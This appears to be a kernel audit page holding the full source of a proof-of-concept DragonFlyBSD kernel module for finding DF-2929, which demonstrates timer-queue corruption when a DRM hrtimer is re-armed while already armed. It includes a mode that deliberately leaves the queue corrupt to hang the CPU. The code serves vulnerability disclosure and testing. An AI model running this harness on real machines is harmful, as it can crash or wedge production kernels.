โฌข DragonFlyBSD Kernel Audit
DF-2929 / df2929_mod.c
โ† back to finding โ†“ download raw
/*
 * DF-2929 โ€” kern_systimer / linux_hrtimer re-arm-while-armed corruption
 * proof-of-concept (KLD harness).
 *
 * Replicates the exact engine sequence performed by
 * sys/dev/drm/linux_hrtimer.c:hrtimer_start_range_ns() (line 109-118) when
 * a DRM driver calls hrtimer_start() on an already-armed timer โ€” which
 * intel_uncore.c:___force_wake_auto() (line 1165-1176) does on EVERY
 * auto-forcewake register access via fw_domain_arm_timer() (line 74-78):
 *
 *	systimer_init_oneshot(&t, cb, d, 4000);   // arm t (ONQUEUE, linked)
 *	...
 *	systimer_init_oneshot(&t, cb, d, 1000);   // bzero() of a QUEUED node
 *						 // + re-add -> ghost link
 *
 * systimer_init_oneshot() (sys/kern/kern_systimer.c:359-371) bzero()s the
 * struct at :363 with no SYSTF_ONQUEUE protection; the bzero also clears
 * the very flag systimer_add()'s KKASSERT at :148 checks, so the violation
 * is silent even on INVARIANTS kernels.
 *
 * Result on the owning cpu's gd_systimerq:
 *   - the old neighbours keep stale links to the zeroed node (ghost link)
 *   - forward traversal hits a cycle (st <-> P) and node N is orphaned
 *   - the dispatcher re-executes already-fired one-shots through the ghost
 *     link (in production: BUG_ON in __hrtimer_function / infinite
 *     dispatch loop -> clock hang)
 *
 * Modes (sysctl kern.df2929_run=N):
 *   1 = control: arm P/st/N (3/4/5ms), verify queue integrity, clean up
 *   2 = exploit: same, but re-arm st (1ms) like hrtimer_start on an armed
 *       timer; verify integrity (EXPECT CORRUPTION), clean up, report
 *   3 = impact:  re-arm and RETURN WITHOUT cleanup so the dispatch loop
 *       runs on the next timer interrupt (expect runaway fire counts or
 *       wedge; fire counters readable with mode 4)
 *   4 = read fire counters
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/systimer.h>
#include <sys/globaldata.h>
#include <sys/thread2.h>
#include <sys/taskqueue.h>
#include <linux/hrtimer.h>

static struct systimer t_p, t_st, t_n;
static volatile long f_p, f_st, f_n;
static struct hrtimer dht;
static volatile long dht_fires;

static enum hrtimer_restart dht_func(struct hrtimer *t)
{
	dht_fires++;
	return (HRTIMER_NORESTART);
}

static void
cb(systimer_t info, int in_ipi __unused, struct intrframe *frame __unused)
{
	if (info == &t_p)
		f_p++;
	else if (info == &t_st)
		f_st++;
	else
		f_n++;
}

#define MAXHOPS 24

static int
df2929_run(SYSCTL_HANDLER_ARGS)
{
	int mode = 0;
	int error, hops, seen_st, seen_p, rev_st;
	systimer_t cur;
	globaldata_t gd;

	error = sysctl_handle_int(oidp, &mode, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	/*
	 * NOTE: no lwkt_setcpu_self() here โ€” migrating a sysctl thread
	 * mid-sysctl corrupts lockmgr bookkeeping (observed: "lockmgr:
	 * LK_RELEASE: no lock held").  The whole sequence runs on whatever
	 * cpu the sysctl executes on; crit_enter() keeps us there.
	 */
	gd = mycpu;

	if (mode == 4) {
		/* no migration: cpu may be wedged by mode 3 */
		kprintf("DF2929: fires P=%ld st=%ld N=%ld hrtimer=%ld\n",
		    f_p, f_st, f_n, dht_fires);
		return (0);
	}

	if (mode == 5) {
		/*
		 * Real in-tree wrapper: exactly what intel_uncore's
		 * fw_domain_arm_timer() does on every auto-forcewake
		 * register access โ€” hrtimer_start_range_ns() twice within
		 * the timer's 1ms window.
		 */
		crit_enter();
		hrtimer_init(&dht, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
		dht.function = dht_func;
		hrtimer_start_range_ns(&dht, 1000000, 0, HRTIMER_MODE_REL);
		/* second start while still armed (100us later) */
		hrtimer_start_range_ns(&dht, 1000000, 0, HRTIMER_MODE_REL);
		{
			int hops = 0, seen = 0, ghost;
			systimer_t cur;
			struct systimer *dst = &dht.st;
			for (cur = TAILQ_FIRST(&mycpu->gd_systimerq);
			     cur != NULL && hops < MAXHOPS;
			     cur = TAILQ_NEXT(cur, node)) {
				if (cur == dst)
					seen++;
				hops++;
			}
			ghost = (dst->node.tqe_prev != NULL);
			kprintf("DF2929 mode=5: hrtimer path: hops=%d "
			    "dht.st seen=%d onqueue-flag=%d => %s\n",
			    hops, seen, (dst->flags & SYSTF_ONQUEUE) ? 1 : 0,
			    (seen > 1 || hops >= MAXHOPS) ?
			    "QUEUE CORRUPT" : "queue ok");
		}
		crit_exit();
		/* let the armed timer fire (taskqueue drains) then cancel */
		tsleep(&dht, 0, "df2929a", hz / 10);
		hrtimer_cancel(&dht);
		kprintf("DF2929 mode=5: cancelled, dht_fires=%ld\n",
		    dht_fires);
		return (0);
	}

	crit_enter();
	f_p = f_st = f_n = 0;

	/* queue: P(+3ms) -> st(+4ms) -> N(+5ms) */
	systimer_init_oneshot(&t_p,  cb, NULL, 3000);
	systimer_init_oneshot(&t_st, cb, NULL, 4000);
	systimer_init_oneshot(&t_n,  cb, NULL, 5000);

	if (mode == 2 || mode == 3) {
		/*
		 * hrtimer_start_range_ns() on the still-armed timer:
		 * bzero() of the queued node + fresh sorted insert.
		 */
		systimer_init_oneshot(&t_st, cb, NULL, 1000);
	}

	/* structural integrity walk (forward, cycle-limited) */
	hops = 0; seen_st = 0; seen_p = 0;
	for (cur = TAILQ_FIRST(&gd->gd_systimerq);
	     cur != NULL && hops < MAXHOPS;
	     cur = TAILQ_NEXT(cur, node)) {
		if (cur == &t_st)
			seen_st++;
		if (cur == &t_p)
			seen_p++;
		hops++;
	}
	{
		int rhops = 0;
		rev_st = 0;
		for (cur = TAILQ_LAST(&gd->gd_systimerq, systimerq);
		     cur != NULL && rhops < MAXHOPS;
		     cur = TAILQ_PREV(cur, systimerq, node)) {
			if (cur == &t_st)
				rev_st++;
			rhops++;
		}
		kprintf("DF2929 mode=%d: reverse hops=%d seen_st=%d\n",
		    mode, rhops, rev_st);
	}
	/*
	 * Ghost link: P->next still points at st while st->prev no longer
	 * points back at P (one-sided link left by the bzero+re-insert).
	 */
	{
		int ghost = (TAILQ_NEXT(&t_p, node) == &t_st &&
		    t_st.node.tqe_prev != &t_p.node.tqe_next);
		kprintf("DF2929 mode=%d: forward hops=%d seen_st=%d seen_p=%d "
		    "P->next==st:%d st->prev!=P:%d => %s\n", mode, hops,
		    seen_st, seen_p,
		    TAILQ_NEXT(&t_p, node) == &t_st,
		    t_st.node.tqe_prev != &t_p.node.tqe_next,
		    (seen_st > 1 || hops >= MAXHOPS || ghost) ?
		    "QUEUE CORRUPT" : "queue ok");
	}

	if (mode != 3) {
		/* cleanup on the corrupt queue (best effort, may refire) */
		systimer_del(&t_st);
		systimer_del(&t_p);
		systimer_del(&t_n);
		crit_exit();
		kprintf("DF2929: cleaned up. fires P=%ld st=%ld N=%ld "
		    "(st fired >1x == double-dispatch)\n", f_p, f_st, f_n);
	} else {
		crit_exit();
		kprintf("DF2929: left corrupt queue armed; watch fires "
		    "(mode 4) / console\n");
	}
	return (0);
}

SYSCTL_PROC(_kern, OID_AUTO, df2929_run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df2929_run, "I", "DF-2929 systimer re-arm corruption harness");

MODULE_DEPEND(df2929, drm, 1, 1, 1);